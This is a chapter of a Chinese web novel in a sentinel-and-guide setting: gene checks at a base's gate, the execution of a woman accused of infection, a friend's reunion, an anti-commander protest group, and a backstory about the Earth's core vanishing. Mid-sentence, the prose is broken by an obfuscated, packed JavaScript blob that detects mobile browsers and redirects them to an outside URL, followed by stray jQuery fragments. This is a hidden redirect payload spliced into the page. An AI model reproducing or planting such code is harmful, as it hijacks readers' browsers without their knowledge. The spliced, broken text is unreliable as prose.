“什么情况?”亚力不理解的发出质问。
之前,从野外回来的向导和哨兵只需要将机甲车开进基地,后下车登记就好,根本不需在基地外进行基因检测。
砰砰砰的关车门声音,在机甲车里的向导和哨兵们纷纷下车,排队接受基因检测。
基地外围的城墙与内围的城墙并不相同,外围的城墙伸出密密麻麻的尖头和钢刺,光照下,银色显得光亮无比,她抬眼看去,像叶表皮的虫卵,花眼又头麻。
城墙上方整齐排列装置镭射仪,若有异种潜入立即无差别扫射。
进入基地有两座城门,生门和死门,生门通往基地各处,是活着的人走进去,死门通往防护中心,是死去的人抬进去。
“嘭——”枪声一划而过,在野外,听白听得最多不是各种异种叫声,而是猝不及防的枪声,一不注意,下一秒,枪声便从眉心穿过。
侧目望去不见尾的队伍,只见身穿黑色制服的哨兵站于队伍的两旁,手里拿着对讲机,低头又抬眼的排查异种,听白心中一疑,略过长长的队伍,视线直达队伍的首端。
没有大型的基因检测装置,有的只是哨兵。
听白戳了戳亚力的后背:“那条是队伍为何和我们的不同?”
亚力转动半张脸瞧去:“哦,你说那条队伍啊!那条队伍是没有向导基因和哨兵基因的人,也就是普通基因的人。”
基地内,没有向导基因和哨兵基因的人,一般生活在外城,靠基地发放工作岗位或自己去找工作为生。
也可以像雇佣兵那样,出野外寻找物资换取基地通用货币。
听白疑道:“他们不用进行基因检测进基地吗?”
队伍堪堪向前移动几步,亚力回头:“普通基因人类不需要做基因检测,你看。”他指了指一个方向,顺着指尖,听白看到一个哨兵低头记录,另一个哨兵的双眼目不斜视死盯他身前的人,“哨兵的眼睛就是普通人最好的基因检测,普通人感染异种,哨兵可以分辨出来。”
基因检测的资源在向导和哨兵眼中是普通的,但在普通人眼中,它是力不可及,甚至有些人,一生只做过一次基因检测。
四岁的基因检测是一道分水岭,它分流两批不同的人,不可逆转的两批人。
“我没有!我没有伤口!我更没有感染!”一声又一声尖喊声引起不少目光往那处看去。
一个女人拼命挽起袖口,举高冲着哨兵的眼睛戳去:“看,没有伤囗。”下一秒,她撕扯胸前的衣领,踮起脚尖大方展示:“你看,更没有。”
哨兵神色无惊无澜,看着女人试图想脱下全身衣服来证明自己身上没有伤口,更没有感染。
这时,一道冷冽的男声道:“立即枪毙感染者。”
听到指令的哨兵没有犹豫,迅速扣动扳机。
“嘭——”又一声枪响。
女人快倒下时,她还存活几分意识高声厉叫:“我没有感染!”血从豌豆大小的窟窿流遍整张脸,扑过眼前男人身上:“你一句话决定别人的生死,将来,你也会被别人一句话决定生死!没有人会逃脱!你也会被淘汰!任何人都会被淘汰!”
快扑上去时,两名哨兵迅速挡在那个男人身前,女人喊完最后一句,软绵绵瘫软在地。
队伍没有因女人几句喊声就此停止,而是加快速度,每个人的心里仿佛都在默念千万不要感染。
普通基因的队伍很快走远,直到没有人,才轮到听白做基因检测。
她伸出食指,回想方才,指挥官在女人扑上前去时,无意往她那条队伍看去,一个眼神,她与指挥官双眼交织,听到那句“你也会被淘汰”时,她感受到
指挥官睫毛轻微闪动,那时的他,又会想什么呢?
细小的针孔刺进皮肤,听白稍稍向后躲了躲,负责扎针的女人向上瞟一眼,不动声色的抽出针孔。
等待基因检测报告需要半小时,听白蹲在基地城墙脚,托腮盯着机甲车一辆接着一辆开进基地。
一道阴影略过,听白没抬眼注意是谁。
【A组六队的跟队向导——听白,通过基因检测。请立即返回基地。】单一的播报声响起,听白终于可以进入基地,她捶了捶发麻的双腿,刚起身,便撞上指挥官的视线。
他优雅地抱着双臂,闲适地靠在城墙,肩头舒张,眉梢微微上扬,垂眸盯着听白的脸。
迅速低头,她的心只想快速略过指挥官走过去,可他的存在感实在太强,让听白不得不停下来,僵硬的张开口:“指挥官,我已经通过基因检测。”
指挥官小幅度点点头,淡道:“我知道。刚听到。”
踏进基地,钢筋高楼拔地而起,一瞬悬浮列车围着高楼中间来回穿梭,此时,人造太阳不偏不倚的光线映着整片基地处于暖光,温和的,无害的。
她顺着指示牌的指引,走到悬浮列车前,站台大多数都是从野外回来的人,带有些疲惫等待。
很快,悬浮列车到站,稀稀拉拉的人从里面出来,听白刚准备进去,突如其来的一只手圈住她的脖子,刹那,她呼吸不上来。
兴奋又亲腻的女声响起,点开听白的心房:“小白,太好了,你终于回来了!”
加莉上下摸索她身子,最后捧着她的脸:“我好想你啊,小白!”
第二季度的工作,加莉依旧分到精神疏导室,但第三季度的工作分配,明显,她还是留在基地,听白笑道:“嗯,我回来。完成任务的回来。”
下一趟悬浮列车到站,听白和加莉二人往里走,二人坐于双座,六个月不见的时间没有让这对好朋友产生距离,反而加深二人的感情。
加莉靠在听白肩上,絮絮叨叨说起自己六个月来的事情,现在,加莉在灯塔就职,若她干得好,下一季度的工作分配,她不用参加,只需留在灯塔工作就行。
听白轻柔抚摸加莉的头发,突来的疲惫感让她也靠在加莉头顶,不知不觉睡着。
一阵晃动,听白醒来时,已经到主城区。
二人快步下车,聊着聊着,想去食堂吃饭,刚转头,一个面容浮白,脸尖尖的高瘦男瞧一眼听白,对视上,那高瘦男径直走过来,并且从斜背包上抽出一张印满大小的字体塑料纸递给她。
听白心中有疑接过,那高瘦男眼底一动:“快来加入反特殊,求公平,反歧视,求平等的组织吧。对了,我们还会时不时在外城区游行,后天,是我们游行的时候,记得来!”
说完,高瘦男便昂首挺胸走开。
听白刚准备看那印满字的塑料纸时,加莉一手拿开:“别看了,那是一个专门反指挥官的组织,说是什么反特殊,求公平,反歧视,求平等啊,实则是反指挥官独裁哨塔。”
听白征了征:“反指挥官?那为何他会在主城发这种宣传单。”
主城一般只有向导、哨兵、科研人员或有基地编制的人才可以进来,普通人进主城如果没有特殊情况,一般会拒绝入内。
加莉把塑料纸撕分几片,扔去离她们最近的垃圾桶,嫌弃道:“谁知道呢?方才那人应该是纯种基因人类,需要经常来灯塔接受基因检测。久而久之,不知出何心理,他逐渐变成反指挥官的人,其实,要不是他是灯塔实验体,他早就被抓起来,还这样大肆在主城分发这种东西。”她又勾搭上听白的肩膀,补充道:“前一个月,指挥官还因他们游行闹事特意从野
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482815|201847||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
外赶回来。而且还用一天的时间赶回来的。”
原来是因为游行这一事才回来的,但她转念一想,指挥官不是那种在意游行闹事而赶回来的人,她问:“游行闹的得什么事?”
加莉:“反对只有成年向导和成年哨兵接受基因检测,普通人只能接受哨兵肉眼观察。而且这个口号还是刚才那个纯种基因人类提出的。”
纯种基因人类,听白好久没有听到这个名词。
公元2026年3月,一次史无前列的海啸冲毁了沿海的岛国,起初,人类只当它是自然灾害,统统隔岸观火。
4月,没有人会预料,地核居然一瞬消失,随后,地磁也跟着消失。
所有导航失灵,电网大规模瘫痪,通讯设备切断,大气层慢慢腐蚀。
这时,人类才意识到,这是一个大灾难的来袭,他们不再执着国土,执着战争,纷纷联合起来应对大灾难。
地核消失十年间,人类建立起六大基地,伪造一个人造地核,其中南方基地与海上基地两个基地互相充当地磁来联系。
可是,真正的地核消失事实无法改变,辐射暴增,基因突变,极端天气混杂一起,大气流失,复杂动植物艰难生存。
当人类以为人类寸步难行之时,地核又突然恢复,人类文明再一次延续。
好景不长,地核虽然恢复,但地磁始终不见恢复。
地球仍旧是一片混乱,但相比下来之前要好得许多。
漫漫长年,人类为了生存,动了改造基因的念头,于是,他们抢夺动植物优秀基因,把他们的优秀基因植入人类基因,从而,人类获得动植物身上的优秀基因,拥有它们的能力。
例如,豹子跑得快的基因,植入人类身上,人类也会拥有跑得快的基因;鸟类有敏捷的基因,植入人类身上,人类也拥有敏捷的基因。
人类基因发生变化,动植物的基因也在悄无声息发生变化,它们开始反抗起来。
公元2206年,当人类再次植入动植物基因时,人类不再拥有人类理智,而是变得暴恕,暴恕中,人类竟逐渐变成怪物,变成异种。
刚开始,人类还无法抵挡,因此沦陷两大基地。
为了改变现状,人类又再一次做出重大抉择,率先一步剔除动植物基因,可是,植入动植物基因已有一百多年的历程,基因早就潜移默化演化成各种各样,于是,人类基因编辑师如春后竹笋般出现。
到公元2276年,人类数量剧烈下滑,人类再一次走头无路,可是,人类不会因此灭亡。
植入动植物基因的人类自身通过演化,拥有普通基因人类无法拥有能力,那就是拥有自己的精神体,他们精神体可以是植物,动物,但一般人却看不见,摸不着。
人类称他们为特殊基因人类,又把他们分为两类,一类是拥有精神体却内心平静的向导,一类是拥有精神体却容易暴走的哨兵。
人类利用向导和哨兵互补的功能,用他们来抵挡怪物和异种。
公元2346年,也就是听白生活的时代,这个时代里,人类基因不再变得纯粹,上至向导、哨兵,下至普通基因的人类或多或少会有一些动植物的基因,
但只要没有达到阈值,就不会异变。
尽管基因改造的发展历程有几百年,但仍旧有人坚持纯粹人类基因,他们认为,人类基因才是最伟大,最高尚的。
这些人,曾经是那个时代基因中佼佼者,但到这个时代,他们纯种人类基因变成可以研究,可以目睹纯种人类基因。
眺望上空,微微刺眼人造阳光让听白不得低头,踩着不踏实的时代,抓住不踏实的基因,让她忍不住回头看去。